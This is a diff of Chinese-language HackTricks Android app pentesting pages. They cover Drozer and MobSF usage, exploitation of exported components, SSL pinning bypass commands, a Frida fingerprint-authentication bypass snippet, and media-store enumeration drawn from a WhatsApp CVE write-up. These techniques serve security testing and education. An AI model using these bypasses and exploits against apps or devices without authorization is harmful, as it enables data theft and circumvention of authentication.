工具 [**mariana-trench**](https://github.com/facebook/mariana-trench) 能够通过 **扫描** 应用程序的 **代码** 来发现 **漏洞**。该工具包含一系列 **已知源**(指示工具 **用户控制的输入位置**)、**汇**(指示工具 **危险位置**,恶意用户输入可能造成损害)和 **规则**。这些规则指示 **源-汇****组合**,表明存在漏洞。
工具 [**mariana-trench**](https://github.com/facebook/mariana-trench) 能够通过 **扫描** 应用程序的 **代码** 来发现 **漏洞**。该工具包含一系列 **已知源**(指示工具 **用户控制的输入** 的 **位置**)、**汇**(指示工具 **危险** **位置**,恶意用户输入可能造成损害)和 **规则**。这些规则指示 **源-汇****组合**,表明存在漏洞。
通过这些知识,**mariana-trench 将审查代码并找到可能的漏洞**。
### 泄露的秘密
应用程序可能包含秘密API 密钥、密码、隐藏的 URL、子域名……您可能能够发现。您可以使用工具例如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
应用程序可能包含秘密API 密钥、密码、隐藏的 URL、子域名……在其中,您可能能够发现。您可以使用工具,例如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### 绕过生物识别认证
@ -225,21 +210,6 @@ content-protocol.md
---
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客见解**\
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
及时了解最新的漏洞赏金发布和重要平台更新
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!
---
## 动态分析
@ -261,23 +231,23 @@ content-protocol.md
#### 使用模拟器
- [**Android Studio**](https://developer.android.com/studio)(您可以创建 **x86****arm** 设备,并且根据 [**此**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本 **支持 ARM 库**,无需使用慢速的 arm 模拟器)。
- 学习如何在此页面上设置:
- 在此页面学习如何设置:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:**个人版您需要创建一个账户。_建议 **下载** 带有 _**VirtualBox** 的版本以避免潜在错误。_)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版**个人版您需要创建一个账户。_建议 **下载** 带有 _**VirtualBox** 的版本以避免潜在错误。_)
- [**Nox**](https://es.bignox.com)(免费,但不支持 Frida 或 Drozer
> [!NOTE]
> 在任何平台上创建新模拟器时,请记住,屏幕越大,模拟器运行越慢。因此,如果可能,请选择小屏幕。
> 创建新模拟器时,请记住,屏幕越大,模拟器运行越慢。因此,如果可能,请选择小屏幕。
要在 Genymotion 中 **安装 Google 服务**(如 AppStore您需要单击以下图像中红色标记的按钮
![](<../../images/image (277).png>)
此外,请注意在 **Genymotion 中的 Android VM 配置** 中,您可以选择 **桥接网络模式**如果您将从不同的 VM 连接到 Android VM 使用工具,这将非常有用)。
此外,请注意在 **Genymotion 中的 Android VM 配置** 中,您可以选择 **桥接网络模式**这在您将从不同的 VM 连接到 Android VM 时会很有用)。
#### 使用物理设备
@ -289,8 +259,8 @@ avd-android-virtual-device.md
4. 按 **构建号** 7 次。
5. 返回,您将找到 **开发者选项**
> 一旦您安装了应用程序,您首先应该尝试它并调查它的功能、工作原理,并与之熟悉。\
> 我建议使用 MobSF 动态分析 + pidcat 进行此初步动态分析,这样我们就可以 **了解应用程序的工作原理**,同时 MobSF **捕获** 许多您可以稍后查看的 **有趣数据**。
> 一旦您安装了应用程序,您首先应该尝试它并调查它的功能、工作原理,并熟悉。\
> 我建议使用 MobSF 动态分析 + pidcat 进行此初步动态分析,这样我们就可以在 MobSF **捕获** 大量 **有趣的** **数据** 供您稍后查看的同时 **了解应用程序的工作原理**。
### 意外数据泄露
@ -299,12 +269,12 @@ avd-android-virtual-device.md
开发人员应谨慎公开 **调试信息**,因为这可能导致敏感数据泄露。建议使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 监控应用程序日志,以识别和保护敏感信息。**Pidcat** 因其易用性和可读性而受到青睐。
> [!WARNING]
> 请注意,从 **Android 4.0 以后的版本****应用程序只能访问自己的日志**。因此,应用程序无法访问其他应用的日志。\
> 请注意,从 **Android 4.0 及更高版本** 开始**应用程序只能访问自己的日志**。因此,应用程序无法访问其他应用的日志。\
> 无论如何,仍然建议 **不要记录敏感信息**
**复制/粘贴缓冲区缓存**
Android 的 **基于剪贴板** 的框架使应用程序能够实现复制粘贴功能,但由于 **其他应用程序** 可以 **访问** 剪贴板,可能会暴露敏感数据。因此,至关重要的是 **禁用敏感部分的复制/粘贴** 功能,例如信用卡详细信息,以防止数据泄露。
Android 的 **基于剪贴板** 的框架使应用程序能够实现复制粘贴功能,但由于 **其他应用程序** 可以 **访问** 剪贴板,可能会暴露敏感数据,因此存在风险。对于应用程序的敏感部分(如信用卡详细信息),至关重要的是 **禁用复制/粘贴** 功能,以防止数据泄露。
**崩溃日志**
@ -314,12 +284,12 @@ Android 的 **基于剪贴板** 的框架使应用程序能够实现复制粘贴
**发送给第三方的分析数据**
应用程序通常集成像 Google Adsense 这样的服务,由于开发人员的不当实现,可能会 **泄露敏感数据**。为了识别潜在的数据泄露,建议 **拦截应用程序的流量**检查是否有任何敏感信息被发送到第三方服务。
应用程序通常集成 Google Adsense 等服务,由于开发人员的不当实施,可能会 **泄露敏感数据**。为了识别潜在的数据泄露,建议 **拦截应用程序的流量**检查是否有任何敏感信息被发送到第三方服务。
### SQLite 数据库
大多数应用程序将使用 **内部 SQLite 数据库** 来保存信息。在渗透测试期间,请 **查看** 创建的 **数据库**、**表** 和 **列** 的名称以及所有保存的 **数据**,因为您可能会发现 **敏感信息**(这将是一个漏洞)。\
数据库应位于 `/data/data/the.package.name/databases``/data/data/com.mwr.example.sieve/databases`
数据库应位于 `/data/data/the.package.name/databases`,如 `/data/data/com.mwr.example.sieve/databases`
如果数据库保存机密信息并且是 **加密的**,但您可以在应用程序中 **找到** **密码**,这仍然是一个 **漏洞**
@ -327,7 +297,7 @@ Android 的 **基于剪贴板** 的框架使应用程序能够实现复制粘贴
### Drozer利用活动、内容提供者和服务
来自 [Drozer 文档](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)**Drozer** 允许您 **假设 Android 应用程序的角色** 并与其他应用程序交互。它可以**任何已安装应用程序可以做的事情**,例如利用 Android 的进程间通信IPC机制并与底层操作系统交互。\
来自 [Drozer 文档](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)**Drozer** 允许您 **假设 Android 应用程序的角色** 并与其他应用程序交互。它可以执行 **已安装应用程序可以做的任何事情**,例如利用 Android 的进程间通信IPC机制并与底层操作系统交互。\
Drozer 是一个有用的工具,可以 **利用导出活动、导出服务和内容提供者**,正如您将在以下部分中学习的那样。
### 利用导出活动
@ -337,7 +307,7 @@ Drozer 是一个有用的工具,可以 **利用导出活动、导出服务和
**授权绕过**
一个活动被导出时,您可以从外部应用程序调用其界面。因此,如果一个包含 **敏感信息** 的活动被 **导出**,您可能会 **绕过** **认证** 机制 **以访问它**
当活动被导出时,您可以从外部应用程序调用其界面。因此,如果导出一个包含 **敏感信息** 的活动,您可能会 **绕过** **身份验证** 机制 **以访问它**
[**了解如何使用 Drozer 利用导出活动。**](drozer-tutorial/#activities)
@ -348,46 +318,46 @@ Drozer 是一个有用的工具,可以 **利用导出活动、导出服务和
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**注意**: MobSF 将会检测到使用 _**singleTask/singleInstance**_ 作为 `android:launchMode` 在一个活动中是恶意的,但由于 [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)显然这在旧版本API 版本 < 21中才是危险的
**注意**MobSF会将使用_**singleTask/singleInstance**_作为`android:launchMode`的活动检测为恶意,但由于[this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)显然这在旧版本API版本<21中才是危险的
> [!NOTE]
> 请注意,授权绕过并不总是一个漏洞,这取决于绕过的工作方式和暴露的信息。
**敏感信息泄露**
**活动也可以返回结果**。如果设法找到一个导出且未保护的活动调用 **`setResult`** 方法并 **返回敏感信息**,则存在敏感信息泄露。
**活动也可以返回结果**。如果设法找到一个导出且未保护的活动调用**`setResult`**方法并**返回敏感信息**,则存在敏感信息泄露。
#### Tapjacking
如果没有防止 tapjacking你可能会滥用导出的活动使 **用户执行意外操作**。有关 [**tapjacking 的更多信息,请查看链接**](./#tapjacking)。
如果未防止tapjacking您可能会滥用导出的活动使**用户执行意外操作**。有关[**tapjacking是什么的更多信息,请查看链接**](./#tapjacking)。
### 利用内容提供者 - 访问和操纵敏感信息
[**如果你想刷新内容提供者是什么,请阅读这个。**](android-applications-basics.md#content-provider)\
内容提供者基本上用于 **共享数据**。如果一个应用有可用的内容提供者,你可能能够 **提取敏感** 数据。测试可能的 **SQL 注入****路径遍历** 也很有趣,因为它们可能存在漏洞。
[**如果您想刷新内容提供者是什么,请阅读此内容。**](android-applications-basics.md#content-provider)\
内容提供者基本上用于**共享数据**。如果一个应用程序有可用的内容提供者,您可能能够**提取敏感**数据。测试可能的**SQL注入**和**路径遍历**也很有趣,因为它们可能存在漏洞。
[**学习如何使用 Drozer 利用内容提供者。**](drozer-tutorial/#content-providers)
[**了解如何使用Drozer利用内容提供者。**](drozer-tutorial/#content-providers)
### **利用服务**
[**如果你想刷新服务是什么,请阅读这个。**](android-applications-basics.md#services)\
请记住,服务的操作始于方法 `onStartCommand`
[**如果您想刷新服务是什么,请阅读此内容。**](android-applications-basics.md#services)\
请记住,服务的操作始于方法`onStartCommand`
服务基本上是可以 **接收数据**、**处理** 数据并 **返回**(或不返回)响应的东西。因此,如果一个应用导出了一些服务,你应该 **检查****代码** 以了解它在做什么,并 **动态测试** 以提取机密信息、绕过身份验证措施...\
[**学习如何使用 Drozer 利用服务。**](drozer-tutorial/#services)
服务基本上是可以**接收数据**、**处理**数据并**返回**(或不返回)响应的东西。因此,如果一个应用程序导出了一些服务,您应该**检查**代码以了解它在做什么,并**动态**测试以提取机密信息、绕过身份验证措施...\
[**了解如何使用Drozer利用服务。**](drozer-tutorial/#services)
### **利用广播接收器**
[**如果你想刷新广播接收器是什么,请阅读这个。**](android-applications-basics.md#broadcast-receivers)\
请记住,广播接收器的操作始于方法 `onReceive`
[**如果您想刷新广播接收器是什么,请阅读此内容。**](android-applications-basics.md#broadcast-receivers)\
请记住,广播接收器的操作始于方法`onReceive`
广播接收器将等待某种类型的消息。根据接收器如何处理消息,它可能会存在漏洞。\
[**学习如何使用 Drozer 利用广播接收器。**](./#exploiting-broadcast-receivers)
[**了解如何使用Drozer利用广播接收器。**](./#exploiting-broadcast-receivers)
### **利用方案 / 深度链接**
### **利用方案/深度链接**
你可以手动查找深度链接,使用像 MobSF 这样的工具或像 [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) 的脚本。\
你可以使用 **adb****浏览器** **打开** 一个声明的 **方案**:
您可以手动查找深度链接使用像MobSF这样的工具或像[this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)这样的脚本。\
您可以使用**adb**或**浏览器**打开声明的**方案**
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
@ -439,17 +409,17 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
#### 绕过 SSL 钉扎
当实施 SSL 钉扎时,绕过它变得必要以检查 HTTPS 流量。为此有多种方法可用:
当实施 SSL 钉扎时,绕过它成为检查 HTTPS 流量的必要条件。为此有多种方法可用:
- 自动**修改** **apk**以**绕过** SSLPinning使用[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项的最大优点是您无需 root 即可绕过 SSL 钉扎,但您需要删除应用程序并重新安装新版本,这并不总是有效。
- 自动**修改** **apk**以**绕过** SSLPinning使用[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项的最大优点是您无需 root 即可绕过 SSL 钉扎,但您需要删除应用程序并重新安装新版本,这并不总是有效。
- 您可以使用**Frida**(下面讨论)来绕过此保护。这里有一个使用 Burp+Frida+Genymotion 的指南:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- 您还可以尝试使用[**objection**](frida-tutorial/objection-tutorial.md)**自动绕过 SSL 钉扎**`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- 您还可以尝试使用**MobSF 动态分析**(下面解释)**自动绕过 SSL 钉扎**
- 如果您仍然认为有一些流量未被捕获,您可以尝试**使用 iptables 将流量转发到 burp**。阅读此博客:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### 寻找常见的网络漏洞
#### 寻找常见的 Web 漏洞
在应用程序中搜索常见的网络漏洞也很重要。有关识别和缓解这些漏洞的详细信息超出了本摘要的范围,但在其他地方有广泛的覆盖。
在应用程序中搜索常见的 Web 漏洞也很重要。有关识别和缓解这些漏洞的详细信息超出了本摘要的范围,但在其他地方有广泛的覆盖。
### Frida
@ -502,7 +472,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
然而,如果这个快照包含 **敏感信息**,那么有权限访问快照的人可能会 **窃取这些信息**(请注意,您需要 root 权限才能访问它)。
快照通常存储在: **`/data/system_ce/0/snapshots`**
快照通常存储在:**`/data/system_ce/0/snapshots`**
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止截图捕获。使用此标志,窗口内容被视为安全,防止其出现在截图中或在不安全的显示器上查看。
```bash
@ -512,18 +482,18 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
此工具可以帮助您在动态分析期间管理不同的工具:[https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent 注入
### 意图注入
开发人员经常创建代理组件,如活动、服务和广播接收器,这些组件处理这些 Intents 并将其传递给 `startActivity(...)``sendBroadcast(...)` 等方法,这可能是有风险的。
开发人员经常创建代理组件,如活动、服务和广播接收器,这些组件处理这些意图并将其传递给 `startActivity(...)``sendBroadcast(...)` 等方法,这可能是有风险的。
危险在于允许攻击者通过错误引导这些 Intents 来触发未导出的应用组件或访问敏感内容提供者。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象,然后执行它们,这可能导致恶意 Intent 注入。
危险在于允许攻击者通过错误引导这些意图来触发未导出的应用组件或访问敏感内容提供者。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象,然后执行它们,这可能导致恶意意图注入。
### 重要要点
- **Intent 注入** 类似于网络的开放重定向问题。
- **意图注入** 类似于网络的开放重定向问题。
- 利用涉及将 `Intent` 对象作为额外参数传递,这可能被重定向以执行不安全的操作。
- 它可以将未导出的组件和内容提供者暴露给攻击者。
- `WebView` 的 URL 到 `Intent` 转换可以促进意外操作。
- `WebView` 的 URL 到 `Intent` 的转换可能会促进意外操作。
### Android 客户端侧注入及其他
@ -537,21 +507,6 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
---
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客见解**\
参与深入探讨黑客的刺激与挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
了解最新的漏洞赏金启动和重要平台更新
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!
## 自动分析
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
@ -560,15 +515,15 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
![](<../../images/image (866).png>)
**使用漂亮的基于 Web 的前端进行应用程序的漏洞评估。** 您还可以执行动态分析(但需要准备环境)。
**使用漂亮的基于 Web 的前端进行应用程序的漏洞评估。** 您还可以执行动态分析(但需要准备环境)。
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
注意MobSF 可以分析 **Android**(apk)**、IOS**(ipa) **和 Windows**(apx) 应用程序_Windows 应用程序必须从安装了 MobSF 的 Windows 主机进行分析_。\
注意MobSF 可以分析 **Android**(apk)**、IOS**(ipa) **和 Windows**(apx) 应用程序_Windows 应用程序必须从安装在 Windows 主机上的 MobSF 进行分析_。\
此外,如果您创建一个包含 **Android****IOS** 应用程序源代码的 **ZIP** 文件(转到应用程序的根文件夹,选择所有内容并创建一个 ZIP 文件),它也能够分析它。
MobSF 还允许您进行 **diff/比较** 分析,并集成 **VirusTotal**(您需要在 _MobSF/settings.py_ 中设置您的 API 密钥并启用它:`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。您还可以将 `VT_UPLOAD` 设置为 `False`这样 **hash** 将被 **上传** 而不是文件。
MobSF 还允许您进行 **diff/比较** 分析,并集成 **VirusTotal**(您需要在 _MobSF/settings.py_ 中设置您的 API 密钥并启用它:`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。您还可以将 `VT_UPLOAD` 设置为 `False`那么 **hash** 将被 **上传** 而不是文件。
### 使用 MobSF 进行辅助动态分析
@ -586,14 +541,14 @@ MobSF 还允许您进行 **diff/比较** 分析,并集成 **VirusTotal**(您
默认情况下,它还将使用一些 Frida 脚本来 **绕过 SSL 钉扎**、**根检测** 和 **调试器检测**,并 **监控有趣的 API**。\
MobSF 还可以 **调用导出活动**,抓取它们的 **屏幕截图****保存** 到报告中。
**开始** 动态测试,请按绿色按钮:“**开始仪器化**”。按“**Frida 实时日志**”查看 Frida 脚本生成的日志,按“**实时 API 监视器**”查看所有调用的挂钩方法、传递的参数和返回值(在按下“开始仪器化”后出现)。\
**开始** 动态测试,请按绿色按钮:“**开始仪器化**”。按“**Frida 实时日志**”查看 Frida 脚本生成的日志,按“**实时 API 监视器**”查看所有调用的挂钩方法、传递的参数和返回值(这将在按下“开始仪器化”后出现)。\
MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本的结果发送到 MobSF请使用函数 `send()`)。它还具有 **多个预编写的脚本**,您可以加载(您可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需 **选择它们**,按“**加载**”并按“**开始仪器化**”(您将能够在“**Frida 实时日志**”中看到该脚本的日志)。
![](<../../images/image (419).png>)
此外,您还有一些辅助 Frida 功能:
- **枚举加载的类**:它将打印所有加载的类
- **枚举加载的类**:它将打印所有加载的类
- **捕获字符串**:它将打印在使用应用程序时捕获的所有字符串(非常嘈杂)
- **捕获字符串比较**:可能非常有用。它将 **显示正在比较的两个字符串** 以及结果是 True 还是 False。
- **枚举类方法**:输入类名(如 "java.io.File"),它将打印该类的所有方法。
@ -604,7 +559,7 @@ MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本
**Shell**
Mobsf 还为您提供一个带有一些 **adb** 命令、**MobSF 命令** 和常见 **shell** **命令** 的 shell位于动态分析页面的底部。一些有趣的命令
Mobsf 还为您提供一个带有一些 **adb** 命令、**MobSF 命令** 和常见 **shell** **命令** 的 shell位于动态分析页面的底部。一些有趣的命令
```bash
help
shell ls
@ -615,8 +570,8 @@ receivers
```
**HTTP工具**
当http流量被捕获时您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送****捕获的请求**到**代理**如Burp或Owasp ZAP。\
为此_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
当http流量被捕获时您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送**捕获的**请求**到像Burp或Owasp ZAP这样的**代理**。\
为此_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
完成MobSF的动态分析后您可以按“**Start Web API Fuzzer**”来**模糊http请求**并寻找漏洞。
@ -640,7 +595,7 @@ receivers
### [Qark](https://github.com/linkedin/qark)
该工具旨在查找多个**与安全相关的Android应用程序漏洞**,无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**,以利用一些发现的漏洞(暴露的活动、意图、点击劫持...。与Drozer一样无需对测试设备进行root。
该工具旨在查找多个**与安全相关的Android应用程序漏洞**,无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**,以利用一些发现的漏洞(暴露的活动、意图、点击劫持...。与Drozer一样测试设备无需root。
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -660,11 +615,11 @@ reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER 是一个可以在 Windows、MacOS X 和 Linux 上使用的命令行应用程序,分析 _.apk_ 文件以寻找漏洞。它通过解压 APK 并应用一系列规则来检测这些漏洞。
SUPER 是一个可以在 Windows、MacOS X 和 Linux 上使用的命令行应用程序,旨在分析 _.apk_ 文件以寻找漏洞。它通过解压 APK 并应用一系列规则来检测这些漏洞。
所有规则都集中在一个 `rules.json` 文件中,每个公司或测试人员可以创建自己的规则来分析他们需要的内容。
所有规则都集中在一个 `rules.json` 文件中,每个公司或测试人员可以创建自己的规则来分析他们需要的内容。
从 [下载页面](https://superanalyzer.rocks/download.html) 下载最新的二进制文件。
从 [download page](https://superanalyzer.rocks/download.html) 下载最新的二进制文件。
```
super-analyzer {apk_file}
```
@ -723,7 +678,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
来自 [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** 是一个开源命令行工具,用于缩小、优化和混淆 Java 代码。它能够优化字节码并检测和删除未使用的指令。ProGuard 是自由软件,按照 GNU 通用公共许可证第 2 版分发。
来自 [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** 是一个开源命令行工具,用于缩小、优化和混淆 Java 代码。它能够优化字节码并检测和删除未使用的指令。ProGuard 是免费软件,按照 GNU 通用公共许可证第 2 版分发。
ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应用程序时运行。
@ -745,13 +700,17 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应
您可以将混淆的 APK 上传到他们的平台。
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
这是一个 LLM 工具,用于查找 Android 应用程序中的潜在安全漏洞并去混淆 Android 应用程序代码。使用 Google 的 Gemini 公共 API。
### [Simplify](https://github.com/CalebFenton/simplify)
它是一个 **通用的 Android 去混淆工具。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其表现相同,但更易于人类理解。每种优化类型都简单且通用,因此无论使用何种特定类型的混淆都无关紧要。
它是一个 **通用的 Android 去混淆。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其行为相同,但更易于人类理解。每种优化类型都是简单和通用的,因此无论使用何种特定类型的混淆都无关紧要。
### [APKiD](https://github.com/rednaga/APKiD)
APKiD 提供有关 **APK 制作方式**信息。它识别许多 **编译器**、**打包器**、**混淆器** 和其他奇怪的东西。它是 Android 的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。
APKiD 为您提供有关 **APK 是如何制作的** 信息。它识别许多 **编译器**、**打包器**、**混淆器** 和其他奇怪的东西。它是 Android 的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。
### 手动
@ -763,7 +722,7 @@ APKiD 提供有关 **APK 制作方式** 的信息。它识别许多 **编译器*
AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机,包含来自不同安全极客和研究人员的最新框架、教程和实验室,用于逆向工程和恶意软件分析。
## 参考资料
## 参考
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 这是一个很好的资源列表
@ -777,19 +736,4 @@ AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机,包含来自
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**黑客见解**\
参与深入探讨黑客的刺激和挑战的内容
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
**最新公告**\
及时了解最新的漏洞赏金发布和重要平台更新
**今天就加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),与顶级黑客开始合作吧!
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,15 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
通过8kSec Academy深化您在**移动安全**方面的专业知识。通过我们的自学课程掌握iOS和Android安全并获得认证
{% embed url="https://academy.8ksec.io/" %}
## **方法 1 无加密对象使用的绕过**
这里的重点是_onAuthenticationSucceeded_回调它在认证过程中至关重要。WithSecure的研究人员开发了一个[Frida脚本](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js),使得在_onAuthenticationSucceeded(...)_中绕过NULL_CryptoObject成为可能。该脚本在方法调用时强制自动绕过指纹认证。下面是一个简化的代码片段演示了在Android指纹上下文中的绕过完整应用程序可在[GitHub](https://github.com/St3v3nsS/InsecureBanking)上找到
这里的重点是 _onAuthenticationSucceeded_ 回调它在认证过程中至关重要。WithSecure 的研究人员开发了一个 [Frida 脚本](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js),使得可以绕过 _onAuthenticationSucceeded(...)_ 中的 NULL _CryptoObject_。该脚本在方法调用时强制自动绕过指纹认证。下面是一个简化的代码片段,演示了在 Android 指纹上下文中的绕过,完整应用程序可在 [GitHub](https://github.com/St3v3nsS/InsecureBanking) 上获取。
```javascript
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
@Override
@ -56,7 +50,7 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
1. **反编译 APK**:将 APK 文件转换为更易读的格式(如 Java 代码)。
2. **分析代码**:查找指纹身份验证的实现,并识别潜在的弱点(如后备机制或不当的验证检查)。
3. **重新编译 APK**:在修改代码以绕过指纹身份验证后,应用程序被重新编译、签名并安装到设备上进行测试。
3. **重新编译 APK**:在修改代码以绕过指纹身份验证后,应用程序被重新编译、签名并安装到设备上进行测试。
## **方法 5 使用自定义身份验证工具**
@ -69,10 +63,5 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
- [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
深化您在 **移动安全** 方面的专业知识,加入 8kSec 学院。通过我们的自学课程掌握 iOS 和 Android 安全,并获得认证:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,14 +1,11 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**这是关于帖子 [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) 的摘要**
**这是帖子 [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) 的摘要**
### 列出媒体存储中的文件
要列出媒体存储管理的文件,可以使用以下命令:
要列出媒体存储管理的文件,可以使用以下命令:
```bash
$ content query --uri content://media/external/file
```
@ -44,11 +41,11 @@ content query --uri content://media/external/file --projection _id,_data | grep
```
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
_同源策略_ (SOP) 是浏览器中的一种安全协议,限制网页与不同来源的资源进行交互,除非通过跨源资源共享 (CORS) 策略明确允许。该策略旨在防止信息泄露和跨站请求伪造。Chrome 将 `content://` 视为本地方案,这意味着更严格的 SOP 规则,其中每个本地方案 URL 被视为一个单独的来源。
